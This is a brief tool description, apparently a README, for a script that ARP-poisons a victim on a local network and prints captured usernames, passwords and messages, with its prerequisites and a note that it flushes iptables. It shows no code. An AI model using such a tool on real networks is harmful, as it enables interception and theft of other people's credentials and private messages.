Description:   ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser.
Prerequisites: Linux
               nmap (optional)
               nbtscan (optional)
               aircrack-ng
               Python 2.6+
               nfqueue-bindings 0.4-3
               scapy
               twisted

Note:          This script flushes iptables before and after usage.
